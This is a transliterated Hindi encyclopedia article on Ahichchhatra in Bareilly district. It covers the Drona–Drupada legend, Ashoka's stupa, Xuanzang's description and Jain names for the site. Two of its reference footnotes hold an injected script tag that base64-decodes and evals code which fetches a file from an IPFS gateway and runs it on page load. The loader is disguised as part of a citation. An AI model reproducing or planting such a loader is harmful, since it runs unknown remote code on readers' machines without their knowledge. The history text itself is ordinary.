अहिच्छत्र
ahichchhatr athava ahikshetr uttar pradesh ke bareli zile ki aanvala tahasil mean sthit hai. dilli se aligadh 126 ki.mi. tatha aligadh se bareli relamarg par[1] aanvala steshan 135 ki.mi. hai. aanvala steshan se ahichchhatr kshetr s dak dvara 18 ki.mi. hai. aanvala se ahichchhatr tak pakki s dak hai.
prachinata
- aanvala namak sthan ke nikat is mahabharatakalin nagar ke vistirn khandahar avasthit haian. yah nagar mahabharat kal mean tatha usake pashchath poorv bauddh kal mean bhi kafi prasiddh tha. yahaan uttari paanchal ki rajadhani thi.[2]
'soadhyavasaddinamana: kampilyan ch purottamamh.
dakshinaanshchapi panchalanh yavachcharmanvati nadi.
dronen chaiv drupadan paribhooyath patit:.
putrajanm paripsanh vai prithivimanvasancharath,
ahichchhatran ch vishayan dron: samabhipadyat'.[3]
uparokt uddharan se soochit hota hai ki dronachary ne paanchal naresh drupad ko hara kar dakshin paanchal ka rajy usake pas chho d diya tha aur ahichchhatr namak rajy apane adhikar mean kar liya tha. ahichchhatr kurudesh ke parshv mean hi sthit tha-
'ahichchhatran kalakootan gangakoolan ch bharat'.
- ahichchhatr uttar paanchal desh ka hi ek nam tha. yahaan ke raja drupad (draupadi ke pita) the. jab dron maharshi agnivesh ke yahaan padhate the to drupad bhi inake sahapathi the. dron ne kirit ko parajit kar drupad ko rajy dilavaya tha, jisase prasann hokar inhoanne dron ko adha rajy dene ki shapath kar pratijna bhi ki thi ki jo drupad ke pas hi nyas svaroop dron ne us samay chho d diya tha. shiksha samapt kar apane parivar ke bharan-poshan ke lie jab drupad se dron ne adha rajy maanga to usane unhean apamanit kar vapas lauta diya. paandavoan ko shiksha de unaki hi sahayata se dronachary ne guru dakshina mean drupad se vachan diya hua adha rajy chhina tha. vah adha chhina hua rajy hi ahichchhatr tha, jisaki rajadhani ramanagar (roohelakhand) thi.[4]
aitihasik tathy
- maury samrat ashok ne yahaan ahichchhatr namak vishal stoop banavaya tha. jainasootr 'prajnapana' mean ahichchhatr ka kee any janapadoan ke sath ullekh hai.
- chini yatri yuvanachvaang jo yahaan 640 ee. ke lagabhag aya tha, nagar ke nam ke bare mean likhata hai ki- "qile ke bahar nagahnad namak ek tal hai, jisake nikat nagaraj ne bauddh dharm svikar karane ke pashchath is sarovar par ek chhatr banavaya tha."
- ahichchhatr ke khandaharoan mean sabase adhik mahattvapoorn dhooanh ek stoop hai, jisaki akriti chakki ke saman hone se ise sthaniy log 'pisanahari ka chhatr' kahate haian. yah stoop usi sthan par bana hai, jahaan kianvadanti ke anusar buddh ne sthaniy nag rajaoan ko bauddh dharm ki diksha di thi. yahaan se mili huee moortiyaan tatha any vastuean lakhanoo ke sangrahalay mean surakshit haian.
- vebar ne 'shatapath brahman'[5] mean ullikhit parivaka ya parichaka nagari ka abhijnan mahabharat ki ekachakra, sambhavat: ahichchhatr ke sath kiya hai.[6] mahabharat mean ise 'ahikshetr' tatha 'chhatravati' namoan se bhi abhihit kiya gaya hai.
- jain granth 'vividhatirthakalp' mean isaka ek any nam 'sankhyavati' bhi milata hai.[7] ek any prachin jain granth 'tirthamalachaityavandan' mean ahikshetr ka 'shivapur' nam bhi bataya gaya hai-
'vande shri karanavati shivapure nagadrahe nanake'.
- jain granthoan mean ahichchhatr ka ek any nam 'shivanayari' bhi milata hai.[8]
- t aaulami ne ahichchhatr ka 'adisadra' nam se ullekh kiya hai.[9]
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tika tippani aur sandarbh
- ↑ chandausi se age
- ↑ aitihasik sthanavali |lekhak: vijayendr kumar mathur |prakashak: rajasthan hindi granth akadami, jayapur |sankalan: bharat diskavari pustakalay |prishth sankhya: 57 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ mahabharat adiparv, 137, 73-74-76
- ↑ pauranik kosh |lekhak: rana prasad sharma |prakashak: jnanamandal limited, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 556, parishisht 'k' | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ shatapath brahman, 13, 5, 4, 7
- ↑ vaidik iandeks 1,494
- ↑ sankhyavati
- ↑ eansheant jain hims pri. 56
- ↑ e klasikal dikshanari aauf hindoo maithol aauji end rilijan, jyogrephi, histri end litarechar-saptam sanskaran
sanvandhit lekh
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